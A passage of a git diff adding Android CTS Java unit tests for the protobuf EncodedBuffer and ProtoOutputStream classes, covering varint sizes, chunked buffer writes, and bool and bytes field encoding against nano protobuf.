+     * Tests that a variety of chunk sizes advance the chunks correctly.
+     */
+    public void testWriteRawByteWrapsChunks() throws Exception {
+        EncodedBuffer buffer;
+
+        buffer = new EncodedBuffer(1);
+        for (int i=0; i<100; i++) {
+            buffer.writeRawByte((byte)i);
+        }
+        assertEquals(100, buffer.getChunkCount());
+        assertEquals(99, buffer.getWriteBufIndex());
+        assertEquals(1, buffer.getWriteIndex());
+
+        buffer = new EncodedBuffer(50);
+        for (int i=0; i<100; i++) {
+            buffer.writeRawByte((byte)i);
+        }
+        assertEquals(2, buffer.getChunkCount());
+        assertEquals(1, buffer.getWriteBufIndex());
+        assertEquals(50, buffer.getWriteIndex());
+
+        buffer = new EncodedBuffer(50);
+        for (int i=0; i<101; i++) {
+            buffer.writeRawByte((byte)i);
+        }
+        assertEquals(3, buffer.getChunkCount());
+        assertEquals(2, buffer.getWriteBufIndex());
+        assertEquals(1, buffer.getWriteIndex());
+
+        buffer = new EncodedBuffer();
+        for (int i=0; i<100; i++) {
+            buffer.writeRawByte((byte)i);
+        }
+        assertEquals(1, buffer.getChunkCount());
+        assertEquals(0, buffer.getWriteBufIndex());
+        assertEquals(100, buffer.getWriteIndex());
+    }
+
+    /**
+     * Tests that writeRawBytes writes what is expected.
+     */
+    public void testWriteRawBuffer() throws Exception {
+        testWriteRawBuffer(0);
+        testWriteRawBuffer(1);
+        testWriteRawBuffer(5);
+    }
+
+    public void testWriteRawBuffer(int chunkSize) throws Exception {
+        testWriteRawBuffer(chunkSize, 0);
+        testWriteRawBuffer(chunkSize, 1);
+        testWriteRawBuffer(chunkSize, 3);
+        testWriteRawBuffer(chunkSize, 5);
+        testWriteRawBuffer(chunkSize, 7);
+        testWriteRawBuffer(chunkSize, 1024);
+        testWriteRawBuffer(chunkSize, 1024*1024);
+    }
+
+    public void testWriteRawBuffer(int chunkSize, int bufferSize) throws Exception {
+        final EncodedBuffer buffer = new EncodedBuffer(chunkSize);
+
+        final byte[] data = bufferSize > 0 ? new byte[bufferSize] : null;
+        final byte[] expected = bufferSize > 0 ? new byte[bufferSize] : null;
+        for (int i=0; i<bufferSize; i++) {
+            data[i] = (byte)i;
+            expected[i] = (byte)i;
+        }
+
+        buffer.writeRawBuffer(data);
+
+        // Make sure it didn't touch the original array
+        Assert.assertArrayEquals(expected, data);
+
+        // Make sure it wrote the array correctly
+        assertEquals(data, buffer);
+    }
+
+    /**
+     * Tests that writeRawBytes writes what is expected.
+     */
+    public void testWriteRawByte() throws Exception {
+        testWriteRawByte(0);
+        testWriteRawByte(1);
+    }
+
+    public void testWriteRawByte(int chunkSize) throws Exception {
+        final EncodedBuffer buffer = new EncodedBuffer(chunkSize);
+
+        buffer.writeRawByte((byte)0);
+        buffer.writeRawByte((byte)42);
+        buffer.writeRawByte((byte)127);
+        buffer.writeRawByte((byte)-128);
+
+        assertEquals(new byte[] { 0, 42, 127, -128 }, buffer);
+    }
+
+    /**
+     * Tests the boundary conditions of getRawVarint32Size.
+     */
+    public void testGetRawUnsigned32Size() throws Exception {
+        assertEquals(1, EncodedBuffer.getRawVarint32Size(0));
+        assertEquals(1, EncodedBuffer.getRawVarint32Size(0x0000007f));
+        assertEquals(2, EncodedBuffer.getRawVarint32Size(0x00000080));
+        assertEquals(2, EncodedBuffer.getRawVarint32Size(0x00003fff));
+        assertEquals(3, EncodedBuffer.getRawVarint32Size(0x00004000));
+        assertEquals(3, EncodedBuffer.getRawVarint32Size(0x001fffff));
+        assertEquals(4, EncodedBuffer.getRawVarint32Size(0x00200000));
+        assertEquals(4, EncodedBuffer.getRawVarint32Size(0x0fffffff));
+        assertEquals(5, EncodedBuffer.getRawVarint32Size(0x10000000));
+        assertEquals(5, EncodedBuffer.getRawVarint32Size(0xffffffff));
+    }
+
+    /**
+     * Tests that writeRawVarint32 writes what is expected.
+     */
+    public void testWriteRawVarint32() throws Exception {
+        testWriteRawVarint32(0);
+        testWriteRawVarint32(1);
+    }
+
+    public void testWriteRawVarint32(int chunkSize) throws Exception {
+        final EncodedBuffer buffer = new EncodedBuffer(chunkSize);
+
+        buffer.writeRawVarint32(0);
+        buffer.writeRawVarint32(0x0000007f << (7 * 0));
+        buffer.writeRawVarint32(0x0000007f << (7 * 1));
+        buffer.writeRawVarint32(0x0000007f << (7 * 2));
+        buffer.writeRawVarint32(0x0000007f << (7 * 3));
+        buffer.writeRawVarint32(0xf0000000);
+        buffer.writeRawVarint32(-1);
+        buffer.writeRawVarint32(Integer.MIN_VALUE);
+        buffer.writeRawVarint32(Integer.MAX_VALUE);
+
+        assertEquals(new byte[] { 
+                (byte)0x00,                                                 // 0
+                (byte)0x7f,                                                 // 0x7f << (7 * 0)
+                (byte)0x80, (byte)0x7f,                                     // 0x7f << (7 * 1)
+                (byte)0x80, (byte)0x80, (byte)0x7f,                         // 0x7f << (7 * 2)
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x7f,             // 0x7f << (7 * 3)
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x0f, // 0xf0000000
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f, // 0xffffffff
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08, // 0x80000000
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07, // 0x7fffffff
+                }, buffer);
+    }
+
+    /**
+     * Tests the boundary conditions of getRawVarint64Size.
+     */
+    public void testGetRawVarint64Size() throws Exception {
+        assertEquals(1, EncodedBuffer.getRawVarint64Size(0));
+        assertEquals(1, EncodedBuffer.getRawVarint64Size(0x00000000000007fL));
+        assertEquals(2, EncodedBuffer.getRawVarint64Size(0x000000000000080L));
+        assertEquals(2, EncodedBuffer.getRawVarint64Size(0x000000000003fffL));
+        assertEquals(3, EncodedBuffer.getRawVarint64Size(0x000000000004000L));
+        assertEquals(3, EncodedBuffer.getRawVarint64Size(0x0000000001fffffL));
+        assertEquals(4, EncodedBuffer.getRawVarint64Size(0x000000000200000L));
+        assertEquals(4, EncodedBuffer.getRawVarint64Size(0x00000000fffffffL));
+        assertEquals(5, EncodedBuffer.getRawVarint64Size(0x000000010000000L));
+        assertEquals(5, EncodedBuffer.getRawVarint64Size(0x0000007ffffffffL));
+        assertEquals(6, EncodedBuffer.getRawVarint64Size(0x000000800000000L));
+        assertEquals(6, EncodedBuffer.getRawVarint64Size(0x00003ffffffffffL));
+        assertEquals(7, EncodedBuffer.getRawVarint64Size(0x000040000000000L));
+        assertEquals(7, EncodedBuffer.getRawVarint64Size(0x001ffffffffffffL));
+        assertEquals(8, EncodedBuffer.getRawVarint64Size(0x002000000000000L));
+        assertEquals(8, EncodedBuffer.getRawVarint64Size(0x0ffffffffffffffL));
+        assertEquals(9, EncodedBuffer.getRawVarint64Size(0x0100000000000000L));
+        assertEquals(9, EncodedBuffer.getRawVarint64Size(0x7fffffffffffffffL));
+        assertEquals(10, EncodedBuffer.getRawVarint64Size(0x8000000000000000L));
+        assertEquals(10, EncodedBuffer.getRawVarint64Size(0xffffffffffffffffL));
+    }
+
+    /**
+     * With chunk size 1: Tests that startEditing puts the EncodedBuffer into
+     * a state where the read and write pointers are reset, the ranges are set,
+     * and it is ready to read / rewrite.
+     */
+    public void testStartEditingChunkSize1() {
+        final byte[] DATA = new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
+
+        final EncodedBuffer buffer = new EncodedBuffer(1);
+
+        buffer.writeRawBuffer(DATA);
+
+        // All the pointers are at the end of what we just wrote
+        assertEquals(DATA.length, buffer.getWritePos());
+        assertEquals(DATA.length-1, buffer.getWriteBufIndex());
+        assertEquals(1, buffer.getWriteIndex());
+        assertEquals(DATA.length, buffer.getChunkCount());
+        assertEquals(-1, buffer.getReadableSize());
+
+        buffer.startEditing();
+
+        // Should be reset
+        assertEquals(0, buffer.getWritePos());
+        assertEquals(0, buffer.getWriteBufIndex());
+        assertEquals(0, buffer.getWriteIndex());
+
+        // The data should still be there
+        assertEquals(DATA.length, buffer.getChunkCount());
+        assertEquals(DATA.length, buffer.getReadableSize());
+    }
+
+    /**
+     * With chunk size 100 (big enough to fit everything): Tests that
+     * startEditing puts the EncodedBuffer into a state where the read
+     * and write pointers are reset, the ranges are set, and it is ready
+     * to read / rewrite.
+     */
+    public void testStartEditingChunkSize100() {
+        final byte[] DATA = new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
+
+        final EncodedBuffer buffer = new EncodedBuffer(100);
+
+        buffer.writeRawBuffer(DATA);
+
+        // All the pointers are at the end of what we just wrote
+        assertEquals(DATA.length, buffer.getWritePos());
+        assertEquals(0, buffer.getWriteBufIndex());
+        assertEquals(DATA.length, buffer.getWriteIndex());
+        assertEquals(1, buffer.getChunkCount());
+
+        // Not set yet
+        assertEquals(-1, buffer.getReadableSize());
+
+        buffer.startEditing();
+
+        // Should be reset
+        assertEquals(0, buffer.getWritePos());
+        assertEquals(0, buffer.getWriteBufIndex());
+        assertEquals(0, buffer.getWriteIndex());
+
+        // The data should still be there
+        assertEquals(1, buffer.getChunkCount());
+        assertEquals(DATA.length, buffer.getReadableSize());
+    }
+
+    /**
+     * Tests that writeFromThisBuffer writes what is expected.
+     */
+    public void testWriteFromThisBuffer() throws Exception {
+        testWriteFromThisBuffer(0);
+        testWriteFromThisBuffer(1);
+        testWriteFromThisBuffer(23);
+        testWriteFromThisBuffer(25);
+        testWriteFromThisBuffer(50);
+        testWriteFromThisBuffer(75);
+        testWriteFromThisBuffer(100);
+        testWriteFromThisBuffer(101);
+        testWriteFromThisBuffer(1000);
+    }
+
+    public void testWriteFromThisBuffer(int chunkSize) throws Exception {
+        testWriteFromThisBuffer(chunkSize, 0, 0, 0);
+        testWriteFromThisBuffer(chunkSize, 0, 0, 10);
+        testWriteFromThisBuffer(chunkSize, 0, 0, 100);
+        testWriteFromThisBuffer(chunkSize, 0, 1, 99);
+        testWriteFromThisBuffer(chunkSize, 0, 10, 10);
+        testWriteFromThisBuffer(chunkSize, 0, 10, 90);
+        testWriteFromThisBuffer(chunkSize, 0, 25, 25);
+        testWriteFromThisBuffer(chunkSize, 0, 50, 25);
+        testWriteFromThisBuffer(chunkSize, 0, 50, 50);
+
+        testWriteFromThisBufferFails(chunkSize, 0, 0, -1);
+        testWriteFromThisBufferFails(chunkSize, 0, 0, 101);
+        testWriteFromThisBufferFails(chunkSize, 0, 10, 100);
+        testWriteFromThisBufferFails(chunkSize, 10, 0, 0);
+        testWriteFromThisBufferFails(chunkSize, 10, 0, 1);
+        testWriteFromThisBufferFails(chunkSize, 10, 0, 89);
+        testWriteFromThisBufferFails(chunkSize, 10, 0, 90);
+    }
+
+    private void testWriteFromThisBuffer(int chunkSize, int destOffset, int srcOffset, int size)
+            throws Exception {
+        // Setup
+        final EncodedBuffer buffer = new EncodedBuffer(chunkSize);
+
+        // Input data: { 0 .. 99 }
+        final byte[] DATA = new byte[100];
+        final byte[] expected = new byte[DATA.length];
+        for (byte i=0; i<DATA.length; i++) {
+            DATA[i] = i;
+            expected[i] = i;
+        }
+        // This *should* be the same as System.arraycopy
+        System.arraycopy(expected, srcOffset, expected, destOffset, size);
+
+        buffer.writeRawBuffer(DATA);
+
+        buffer.startEditing();
+        Assert.assertArrayEquals(DATA, buffer.getBytes(buffer.getReadableSize()));
+
+
+        // Skip destOffset bytes (also tests that writing from offset 0 to offset 0 works).
+        if (destOffset != 0) {
+            buffer.writeFromThisBuffer(0, destOffset);
+            Assert.assertArrayEquals(DATA, buffer.getBytes(buffer.getReadableSize()));
+        }
+
+        // Test call
+        buffer.writeFromThisBuffer(srcOffset, size);
+
+        // Assert correctness
+        Assert.assertArrayEquals(expected, buffer.getBytes(buffer.getReadableSize()));
+        assertEquals(destOffset+size, buffer.getWritePos());
+    }
+
+    private void testWriteFromThisBufferFails(int chunkSize, int destOffset, int srcOffset,
+            int size) throws Exception {
+        try {
+            testWriteFromThisBuffer(chunkSize, destOffset, srcOffset, size);
+            throw new RuntimeException("Should have thorown an exception: "
+                    + " chunkSize=" + chunkSize + " destOffset=" + destOffset
+                    + " srcOffset=" + srcOffset + " size=" + size);
+        } catch (Exception ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBoolTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBoolTest.java
new file mode 100644
index 0000000..330e654
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBoolTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the bool methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamBoolTest extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeBool
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeBool.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        po.writeBool(ProtoOutputStream.makeFieldId(1, fieldFlags), false);
+        po.writeBool(ProtoOutputStream.makeFieldId(2, fieldFlags), true);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(false);
+        testWriteCompat(true);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(boolean val) throws Exception {
+        final int fieldId = 130;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.boolField = val;
+        po.writeBool(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.boolField);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedBool
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeRepeatedBool.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        po.writeRepeatedBool(ProtoOutputStream.makeFieldId(1, fieldFlags), false);
+        po.writeRepeatedBool(ProtoOutputStream.makeFieldId(2, fieldFlags), true);
+
+        po.writeRepeatedBool(ProtoOutputStream.makeFieldId(1, fieldFlags), false);
+        po.writeRepeatedBool(ProtoOutputStream.makeFieldId(2, fieldFlags), true);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new boolean[0]);
+        testRepeatedCompat(new boolean[] { false, true });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(boolean[] val) throws Exception {
+        final int fieldId = 131;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.boolFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedBool(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.boolFieldRepeated);
+        assertEquals(val.length, readback.boolFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.boolFieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedBool
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writePackedBool.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedBool(ProtoOutputStream po, int fieldId, boolean val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BOOL;
+        po.writePackedBool(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new boolean[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        po.writePackedBool(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedBool(ProtoOutputStream.makeFieldId(1001, fieldFlags), new boolean[0]);
+        writePackedBool(po, 1, false);
+        writePackedBool(po, 2, true);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new boolean[] {});
+        testPackedCompat(new boolean[] { false, true });
+    }
+
+    /**
+     * Implementation of testPackedBoolCompat with a given value.
+     */
+    public void testPackedCompat(boolean[] val) throws Exception {
+        final int fieldId = 132;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BOOL;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.boolFieldPacked = val;
+        po.writePackedBool(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.boolFieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), false);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BOOL), false);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), false);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BOOL), false);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new boolean[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedBool(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_BOOL),
+                    new boolean[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBytesTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBytesTest.java
new file mode 100644
index 0000000..ae323dd
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamBytesTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the bytes methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamBytesTest extends TestCase {
+    private static byte[] makeData() {
+        final byte[] data = new byte[523];
+        for (int i=0; i<data.length; i++) {
+            data[i] = (byte)i;
+        }
+        return data;
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeBytes
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeBytes.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_BYTES;
+
+        final byte[] data = makeData();
+
+        po.writeBytes(ProtoOutputStream.makeFieldId(1, fieldFlags), data);
+
+        final byte[] expected = new byte[data.length + 3];
+        expected[0] = (byte)0x0a;
+        expected[1] = (byte)0x8b;
+        expected[2] = (byte)0x04;
+        for (int i=0; i<data.length; i++) {
+            expected[i+3] = (byte)i;
+        }
+
+        Assert.assertArrayEquals(expected, po.getBytes());
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        // Nano doesn't work with null.
+        // testWriteCompat(null);
+
+        testWriteCompat(new byte[0]);
+        testWriteCompat(new byte[] { 0 } );
+        testWriteCompat(new byte[] { 1 } );
+        testWriteCompat(makeData());
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(byte[] val) throws Exception {
+        final int fieldId = 150;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_BYTES;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.bytesField = val;
+        po.writeBytes(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.bytesField);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedBytes
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeBytes.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_BYTES;
+
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(1, fieldFlags), null);
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(2, fieldFlags), new byte[0]);
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(3, fieldFlags),
+                new byte[] { 0, 1, 2, 3, 4, 5 });
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(4, fieldFlags),
+                new byte[] { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc });
+
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(1, fieldFlags), null);
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(2, fieldFlags), new byte[0]);
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(3, fieldFlags),
+                new byte[] { 0, 1, 2, 3, 4, 5 });
+        po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(4, fieldFlags),
+                new byte[] { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc });
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> null - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x00,
+                // 2 -> { } - default value, written when repeated
+                (byte)0x12,
+                (byte)0x00,
+                // 3 -> { 0, 1, 2, 3, 4, 5 }
+                (byte)0x1a,
+                (byte)0x06,
+                (byte)0x00, (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04, (byte)0x05,
+                // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+                (byte)0x22,
+                (byte)0x04,
+                (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc,
+
+                // 1 -> null - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x00,
+                // 2 -> { } - default value, written when repeated
+                (byte)0x12,
+                (byte)0x00,
+                // 3 -> { 0, 1, 2, 3, 4, 5 }
+                (byte)0x1a,
+                (byte)0x06,
+                (byte)0x00, (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04, (byte)0x05,
+                // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+                (byte)0x22,
+                (byte)0x04,
+                (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new byte[0][]);
+        testRepeatedCompat(new byte[][] {
+                    new byte[0],
+                    new byte[] { 0 },
+                    new byte[] { 1 },
+                    makeData(),
+                });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(byte[][] val) throws Exception {
+        final int fieldId = 151;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_BYTES;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.bytesFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.bytesFieldRepeated);
+        assertEquals(val.length, readback.bytesFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            Assert.assertArrayEquals(val[i], readback.bytesFieldRepeated[i]);
+        }
+    }
+
+    /**
